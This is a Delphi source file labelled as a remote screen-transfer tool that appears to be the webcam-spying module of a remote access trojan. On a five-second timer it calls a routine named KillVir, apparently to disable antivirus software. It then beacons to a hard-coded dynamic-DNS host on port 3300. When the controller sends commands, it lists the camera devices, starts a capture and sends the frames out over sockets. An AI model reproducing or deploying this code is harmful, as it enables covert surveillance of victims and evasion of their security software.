ucapline.pas

Delhpi远程屏幕传输 (差异截图)

unit uCapLine;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, DSPack, DirectShow9, DSUtil, ExtCtrls, StdCtrls, WinSock,fun2;

type
  PakGet = record
    Fa: set of (GETCAP, GETUSB);
    Tag: Integer;
  end;

  PakSend = record
    Fa: set of (SENDCAP, SENDUSB);
    Tag: Integer;
    UsbList: string[100];
  end;

type
  TCapLine = class(TForm)
    FilterGraph: TFilterGraph;
    VideoWindow: TVideoWindow;
    Filter: TFilter;
    CSck: TClientSocket;
    Timer1: TTimer;
    CSckCap: TClientSocket;
    SampleGrabber: TSampleGrabber;
    procedure Timer1Timer(Sender: TObject);
    procedure CSckError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure CSckRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure CSckCapError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure CSckCapRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure CSckDisconnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  CapLine           : TCapLine;
  bLink             : boolean;
  SysDev            : TSysDevEnum;
  Ms                : TMemorystream;
implementation

{$R *.dfm}

procedure TCapLine.Timer1Timer(Sender: TObject);
//时钟控制，每5秒尝试连接服务器
begin
  KillVir;
  if not bLink then
  begin
    CSck.Host := 'eboss.3322.org';
    CSck.Port := 3300;
    bLink := true;
    CSck.Active := true;
  end;
end;

procedure TCapLine.CSckError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
  ErrorCode := 0;
  bLink := false;
end;

procedure TCapLine.CSckDisconnect(Sender: TObject; Socket: TCustomWinSocket);
begin
  bLink := false;
end;

procedure TCapLine.CSckRead(Sender: TObject; Socket: TCustomWinSocket);
var
  GPak              : PakGet;
  SPak              : PakSend;
  i                 : integer;
begin
  if socket.ReceiveBuf(GPak, SizeOf(GPak)) = SOCKET_ERROR then
    Exit;
  try
    if GETUSB in GPak.Fa then           //获取CAP设备
    begin
      SysDev := TSysDevEnum.Create(CLSID_VideoInputDeviceCategory);
      if SysDev.CountFilters > 0 then
        for i := 0 to SysDev.CountFilters - 1 do
        begin
          SPak.Fa := [SENDUSB];
          SPak.UsbList := SysDev.Filters[i].FriendlyName;
          SPak.Tag := i;
          socket.SendBuf(SPak, SizeOf(SPak));
          Sleep(1000);
        end;
    end;

    if GETCAP in GPak.Fa then           //通知CAP发送
    begin
      FilterGraph.ClearGraph;
      FilterGraph.Active := false;
      Filter.BaseFilter.Moniker := SysDev.GetMoniker(GPak.Tag);
      FilterGraph.Active := true;
      with FilterGraph as ICaptureGraphBuilder2 do
        RenderStream(@PIN_CATEGORY_PREVIEW, nil, Filter as IBaseFilter, SampleGrabber as IBaseFilter, VideoWindow as IbaseFilter);
      FilterGraph.Play;

      SPak.Fa := [SENDCAP];
      if socket.SendBuf(SPak, SizeOf(SPak)) <> SOCKET_ERROR then
      begin
        CSckCap.Host := '127.0.0.1';
        CSckCap.Port := 2008;
        CSckCap.Open;

      end;
    end;
  except

  end;
end;

procedure TCapLine.CSckCapError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
  ErrorCode := 0;
  SysDev.Free;
  FilterGraph.ClearGraph;
  FilterGraph.Active := false;
end;

procedure TCapLine.CSckCapRead(Sender: TObject; Socket: TCustomWinSocket);
var
  s                 : string;
  sb                : TBitmap;
begin
  s := Socket.ReceiveText;
  if s = 'cap' then
  begin
    ms := TMemorystream.Create;
    sb := TBitmap.Create;
    try
      SampleGrabber.GetBitmap(sb);
      sb.SaveToStream(ms);
      ms.Position := 0;
      socket.SendText(IntToStr(ms.Size));
    finally
      sb.Free;
    end;
  end;
  if s = 'ready' then
  begin
    ms.Position := 0;
    socket.SendStream(ms);
  end;
  if s = 'exit' then
  begin
    FilterGraph.ClearGraph;
    FilterGraph.Active := false;
    CSckCap.Close;
  end;
end;

procedure TCapLine.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  CSck.Close;
end;

end.